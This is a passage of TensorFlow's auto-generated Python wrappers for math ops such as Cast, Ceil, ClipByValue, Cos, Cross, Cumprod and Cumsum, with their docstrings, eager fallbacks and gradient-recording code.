"'bucketize' Op, not %r." % boundaries)
boundaries = [_execute.make_float(_f, "boundaries") for _f in boundaries]
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Bucketize", input=input, boundaries=boundaries, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "boundaries",
_op.get_attr("boundaries"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Bucketize", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Bucketize = tf_export("raw_ops.Bucketize")(_ops.to_raw_op(bucketize))
def bucketize_eager_fallback(input, boundaries, name, ctx):
if not isinstance(boundaries, (list, tuple)):
raise TypeError(
"Expected list for 'boundaries' argument to "
"'bucketize' Op, not %r." % boundaries)
boundaries = [_execute.make_float(_f, "boundaries") for _f in boundaries]
_attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.int32, _dtypes.int64, _dtypes.float32, _dtypes.float64, ])
_inputs_flat = [input]
_attrs = ("T", _attr_T, "boundaries", boundaries)
_result = _execute.execute(b"Bucketize", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Bucketize", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def cast(x, DstT, Truncate=False, name=None):
r"""Cast x of type SrcT to y of DstT.
Args:
x: A `Tensor`.
DstT: A `tf.DType`.
Truncate: An optional `bool`. Defaults to `False`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `DstT`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Cast", name, x, "DstT", DstT, "Truncate", Truncate)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return cast_eager_fallback(
x, DstT=DstT, Truncate=Truncate, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
DstT = _execute.make_type(DstT, "DstT")
if Truncate is None:
Truncate = False
Truncate = _execute.make_bool(Truncate, "Truncate")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Cast", x=x, DstT=DstT, Truncate=Truncate, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("SrcT", _op._get_attr_type("SrcT"), "DstT",
_op._get_attr_type("DstT"), "Truncate",
_op._get_attr_bool("Truncate"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Cast", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Cast = tf_export("raw_ops.Cast")(_ops.to_raw_op(cast))
def cast_eager_fallback(x, DstT, Truncate, name, ctx):
DstT = _execute.make_type(DstT, "DstT")
if Truncate is None:
Truncate = False
Truncate = _execute.make_bool(Truncate, "Truncate")
_attr_SrcT, (x,) = _execute.args_to_matching_eager([x], ctx, [])
_inputs_flat = [x]
_attrs = ("SrcT", _attr_SrcT, "DstT", DstT, "Truncate", Truncate)
_result = _execute.execute(b"Cast", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Cast", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def ceil(x, name=None):
r"""Returns element-wise smallest integer not less than x.
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Ceil", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return ceil_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Ceil", x=x, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Ceil", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Ceil = tf_export("raw_ops.Ceil")(_ops.to_raw_op(ceil))
def ceil_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Ceil", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Ceil", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def _clip_by_value(t, clip_value_min, clip_value_max, name=None):
r"""Clips tensor values to a specified min and max.
Given a tensor `t`, this operation returns a tensor of the same type and
shape as `t` with its values clipped to `clip_value_min` and `clip_value_max`.
Any values less than `clip_value_min` are set to `clip_value_min`. Any values
greater than `clip_value_max` are set to `clip_value_max`.
Args:
t: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`.
A `Tensor`.
clip_value_min: A `Tensor`. Must have the same type as `t`.
A 0-D (scalar) `Tensor`, or a `Tensor` with the same shape
as `t`. The minimum value to clip by.
clip_value_max: A `Tensor`. Must have the same type as `t`.
A 0-D (scalar) `Tensor`, or a `Tensor` with the same shape
as `t`. The maximum value to clip by.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `t`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "ClipByValue", name, t, clip_value_min, clip_value_max)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return _clip_by_value_eager_fallback(
t, clip_value_min, clip_value_max, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"ClipByValue", t=t, clip_value_min=clip_value_min,
clip_value_max=clip_value_max, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"ClipByValue", _inputs_flat, _attrs, _result)
_result, = _result
return _result
ClipByValue = tf_export("raw_ops.ClipByValue")(_ops.to_raw_op(_clip_by_value))
def _clip_by_value_eager_fallback(t, clip_value_min, clip_value_max, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([t, clip_value_min, clip_value_max], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
(t, clip_value_min, clip_value_max) = _inputs_T
_inputs_flat = [t, clip_value_min, clip_value_max]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"ClipByValue", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"ClipByValue", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def compare_and_bitpack(input, threshold, name=None):
r"""Compare values of `input` to `threshold` and pack resulting bits into a `uint8`.
Each comparison returns a boolean `true` (if `input_value > threshold`)
or and `false` otherwise.
This operation is useful for Locality-Sensitive-Hashing (LSH) and other
algorithms that use hashing approximations of cosine and `L2` distances;
codes can be generated from an input via:
```python
codebook_size = 50
codebook_bits = codebook_size * 32
codebook = tf.get_variable('codebook', [x.shape[-1].value, codebook_bits],
dtype=x.dtype,
initializer=tf.orthogonal_initializer())
codes = compare_and_threshold(tf.matmul(x, codebook), threshold=0.)
codes = tf.bitcast(codes, tf.int32) # go from uint8 to int32
# now codes has shape x.shape[:-1] + [codebook_size]
```
**NOTE**: Currently, the innermost dimension of the tensor must be divisible
by 8.
Given an `input` shaped `[s0, s1, ..., s_n]`, the output is
a `uint8` tensor shaped `[s0, s1, ..., s_n / 8]`.
Args:
input: A `Tensor`. Must be one of the following types: `bool`, `half`, `float32`, `float64`, `int8`, `int16`, `int32`, `int64`.
Values to compare against `threshold` and bitpack.
threshold: A `Tensor`. Must have the same type as `input`.
Threshold to compare against.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `uint8`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "CompareAndBitpack", name, input, threshold)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return compare_and_bitpack_eager_fallback(
input, threshold, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"CompareAndBitpack", input=input, threshold=threshold, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"CompareAndBitpack", _inputs_flat, _attrs, _result)
_result, = _result
return _result
CompareAndBitpack = tf_export("raw_ops.CompareAndBitpack")(_ops.to_raw_op(compare_and_bitpack))
def compare_and_bitpack_eager_fallback(input, threshold, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([input, threshold], ctx, [_dtypes.bool, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, ])
(input, threshold) = _inputs_T
_inputs_flat = [input, threshold]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"CompareAndBitpack", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"CompareAndBitpack", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def _complex(real, imag, Tout=_dtypes.complex64, name=None):
r"""Converts two real numbers to a complex number.
Given a tensor `real` representing the real part of a complex number, and a
tensor `imag` representing the imaginary part of a complex number, this
operation returns complex numbers elementwise of the form \\(a + bj\\), where
*a* represents the `real` part and *b* represents the `imag` part.
The input tensors `real` and `imag` must have the same shape.
For example:
```
# tensor 'real' is [2.25, 3.25]
# tensor `imag` is [4.75, 5.75]
tf.complex(real, imag) ==> [[2.25 + 4.75j], [3.25 + 5.75j]]
```
Args:
real: A `Tensor`. Must be one of the following types: `float32`, `float64`.
imag: A `Tensor`. Must have the same type as `real`.
Tout: An optional `tf.DType` from: `tf.complex64, tf.complex128`. Defaults to `tf.complex64`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `Tout`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Complex", name, real, imag, "Tout", Tout)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return _complex_eager_fallback(
real, imag, Tout=Tout, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if Tout is None:
Tout = _dtypes.complex64
Tout = _execute.make_type(Tout, "Tout")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Complex", real=real, imag=imag, Tout=Tout, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tout",
_op._get_attr_type("Tout"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Complex", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Complex = tf_export("raw_ops.Complex")(_ops.to_raw_op(_complex))
def _complex_eager_fallback(real, imag, Tout, name, ctx):
if Tout is None:
Tout = _dtypes.complex64
Tout = _execute.make_type(Tout, "Tout")
_attr_T, _inputs_T = _execute.args_to_matching_eager([real, imag], ctx, [_dtypes.float32, _dtypes.float64, ], _dtypes.float32)
(real, imag) = _inputs_T
_inputs_flat = [real, imag]
_attrs = ("T", _attr_T, "Tout", Tout)
_result = _execute.execute(b"Complex", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Complex", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def complex_abs(x, Tout=_dtypes.float32, name=None):
r"""Computes the complex absolute value of a tensor.
Given a tensor `x` of complex numbers, this operation returns a tensor of type
`float` or `double` that is the absolute value of each element in `x`. All
elements in `x` must be complex numbers of the form \\(a + bj\\). The absolute
value is computed as \\( \sqrt{a^2 + b^2}\\).
Args:
x: A `Tensor`. Must be one of the following types: `complex64`, `complex128`.
Tout: An optional `tf.DType` from: `tf.float32, tf.float64`. Defaults to `tf.float32`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `Tout`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "ComplexAbs", name, x, "Tout", Tout)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return complex_abs_eager_fallback(
x, Tout=Tout, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if Tout is None:
Tout = _dtypes.float32
Tout = _execute.make_type(Tout, "Tout")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"ComplexAbs", x=x, Tout=Tout, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tout",
_op._get_attr_type("Tout"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"ComplexAbs", _inputs_flat, _attrs, _result)
_result, = _result
return _result
ComplexAbs = tf_export("raw_ops.ComplexAbs")(_ops.to_raw_op(complex_abs))
def complex_abs_eager_fallback(x, Tout, name, ctx):
if Tout is None:
Tout = _dtypes.float32
Tout = _execute.make_type(Tout, "Tout")
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.complex64, _dtypes.complex128, ], _dtypes.complex64)
_inputs_flat = [x]
_attrs = ("T", _attr_T, "Tout", Tout)
_result = _execute.execute(b"ComplexAbs", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"ComplexAbs", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def conj(input, name=None):
r"""Returns the complex conjugate of a complex number.
Given a tensor `input` of complex numbers, this operation returns a tensor of
complex numbers that are the complex conjugate of each element in `input`. The
complex numbers in `input` must be of the form \\(a + bj\\), where *a* is the
real part and *b* is the imaginary part.
The complex conjugate returned by this operation is of the form \\(a - bj\\).
For example:
```
# tensor 'input' is [-2.25 + 4.75j, 3.25 + 5.75j]
tf.conj(input) ==> [-2.25 - 4.75j, 3.25 - 5.75j]
```
Args:
input: A `Tensor`. Must be one of the following types: `complex64`, `complex128`, `variant`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `input`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Conj", name, input)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return conj_eager_fallback(
input, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Conj", input=input, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Conj", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Conj = tf_export("raw_ops.Conj")(_ops.to_raw_op(conj))
def conj_eager_fallback(input, name, ctx):
_attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.complex64, _dtypes.complex128, _dtypes.variant, ], _dtypes.complex64)
_inputs_flat = [input]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Conj", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Conj", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.cos', 'cos')
def cos(x, name=None):
r"""Computes cos of x element-wise.
Given an input tensor, this function computes cosine of every
element in the tensor. Input range is `(-inf, inf)` and
output range is `[-1,1]`. If input lies outside the boundary, `nan`
is returned.
```python
x = tf.constant([-float("inf"), -9, -0.5, 1, 1.2, 200, 10000, float("inf")])
tf.math.cos(x) ==> [nan -0.91113025 0.87758255 0.5403023 0.36235774 0.48718765 -0.95215535 nan]
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Cos", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return cos_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
cos, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Cos", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
cos, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Cos", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Cos = tf_export("raw_ops.Cos")(_ops.to_raw_op(cos))
def cos_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Cos", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Cos", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.cosh', 'cosh')
def cosh(x, name=None):
r"""Computes hyperbolic cosine of x element-wise.
Given an input tensor, this function computes hyperbolic cosine of every
element in the tensor. Input range is `[-inf, inf]` and output range
is `[1, inf]`.
```python
x = tf.constant([-float("inf"), -9, -0.5, 1, 1.2, 2, 10, float("inf")])
tf.math.cosh(x) ==> [inf 4.0515420e+03 1.1276259e+00 1.5430807e+00 1.8106556e+00 3.7621956e+00 1.1013233e+04 inf]
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Cosh", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return cosh_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
cosh, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Cosh", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
cosh, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Cosh", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Cosh = tf_export("raw_ops.Cosh")(_ops.to_raw_op(cosh))
def cosh_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Cosh", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Cosh", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('linalg.cross', v1=['linalg.cross', 'cross'])
@deprecated_endpoints('cross')
def cross(a, b, name=None):
r"""Compute the pairwise cross product.
`a` and `b` must be the same shape; they can either be simple 3-element vectors,
or any shape where the innermost dimension is 3. In the latter case, each pair
of corresponding 3-element vectors is cross-multiplied independently.
Args:
a: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `int64`, `bfloat16`, `uint16`, `half`, `uint32`, `uint64`.
A tensor containing 3-element vectors.
b: A `Tensor`. Must have the same type as `a`.
Another tensor, of same type and shape as `a`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `a`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Cross", name, a, b)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return cross_eager_fallback(
a, b, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
cross, (), dict(a=a, b=b, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Cross", a=a, b=b, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
cross, (), dict(a=a, b=b, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Cross", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Cross = tf_export("raw_ops.Cross")(_ops.to_raw_op(cross))
def cross_eager_fallback(a, b, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([a, b], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.int64, _dtypes.bfloat16, _dtypes.uint16, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
(a, b) = _inputs_T
_inputs_flat = [a, b]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Cross", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Cross", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def cumprod(x, axis, exclusive=False, reverse=False, name=None):
r"""Compute the cumulative product of the tensor `x` along `axis`.
By default, this op performs an inclusive cumprod, which means that the first
element of the input is identical to the first element of the output:
```python
tf.cumprod([a, b, c]) # => [a, a * b, a * b * c]
```
By setting the `exclusive` kwarg to `True`, an exclusive cumprod is
performed instead:
```python
tf.cumprod([a, b, c], exclusive=True) # => [1, a, a * b]
```
By setting the `reverse` kwarg to `True`, the cumprod is performed in the
opposite direction:
```python
tf.cumprod([a, b, c], reverse=True) # => [a * b * c, b * c, c]
```
This is more efficient than using separate `tf.reverse` ops.
The `reverse` and `exclusive` kwargs can also be combined:
```python
tf.cumprod([a, b, c], exclusive=True, reverse=True) # => [b * c, c, 1]
```
Args:
x: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`.
A `Tensor`. Must be one of the following types: `float32`, `float64`,
`int64`, `int32`, `uint8`, `uint16`, `int16`, `int8`, `complex64`,
`complex128`, `qint8`, `quint8`, `qint32`, `half`.
axis: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A `Tensor` of type `int32` (default: 0). Must be in the range
`[-rank(x), rank(x))`.
exclusive: An optional `bool`. Defaults to `False`.
If `True`, perform exclusive cumprod.
reverse: An optional `bool`. Defaults to `False`.
A `bool` (default: False).
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Cumprod", name, x, axis, "exclusive", exclusive, "reverse",
reverse)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return cumprod_eager_fallback(
x, axis, exclusive=exclusive, reverse=reverse, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if exclusive is None:
exclusive = False
exclusive = _execute.make_bool(exclusive, "exclusive")
if reverse is None:
reverse = False
reverse = _execute.make_bool(reverse, "reverse")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Cumprod", x=x, axis=axis, exclusive=exclusive, reverse=reverse,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("exclusive", _op._get_attr_bool("exclusive"), "reverse",
_op._get_attr_bool("reverse"), "T", _op._get_attr_type("T"),
"Tidx", _op._get_attr_type("Tidx"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Cumprod", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Cumprod = tf_export("raw_ops.Cumprod")(_ops.to_raw_op(cumprod))
def cumprod_eager_fallback(x, axis, exclusive, reverse, name, ctx):
if exclusive is None:
exclusive = False
exclusive = _execute.make_bool(exclusive, "exclusive")
if reverse is None:
reverse = False
reverse = _execute.make_bool(reverse, "reverse")
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tidx, (axis,) = _execute.args_to_matching_eager([axis], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [x, axis]
_attrs = ("exclusive", exclusive, "reverse", reverse, "T", _attr_T, "Tidx",
_attr_Tidx)
_result = _execute.execute(b"Cumprod", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Cumprod", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def cumsum(x, axis, exclusive=False, reverse=False, name=None):
r"""Compute the cumulative sum of the tensor `x` along `axis`.
By default, this op performs an inclusive cumsum, which means that the first
element of the input is identical to the first element of the output:
```python
tf.cumsum([a, b, c]) # => [a, a + b, a + b + c]
```
By setting the `exclusive` kwarg to `True`, an exclusive cumsum is
performed instead:
```python
tf.cumsum([a, b, c], exclusive=True) # => [0, a, a + b]
```
By setting the `reverse` kwarg to `True`, the cumsum is performed in the
opposite direction:
```python
tf.cumsum([a, b, c], reverse=True) # => [a + b + c, b + c, c]
```
This is more efficient than using separate `tf.reverse` ops.
The `reverse` and `exclusive` kwargs can also be combined:
```python
tf.cumsum([a, b, c], exclusive=True, reverse=True) # => [b + c, c, 0]
```
Args:
x: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`.
A `Tensor`. Must be one of the following types: `float32`, `float64`,
`int64`, `int32`, `uint8`, `uint16`, `int16`, `int8`, `complex64`,
`complex128`, `qint8`, `quint8`, `qint32`, `half`.
axis: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A `Tensor` of type `int32` (default: 0). Must be in the range
`[-rank(x), rank(x))`.
exclusive: An optional `bool`. Defaults to `False`.
If `True`, perform exclusive cumsum.
reverse: An optional `bool`. Defaults to `False`.
A `bool` (default: False).
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Cumsum", name, x, axis, "exclusive", exclusive, "reverse",
reverse)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
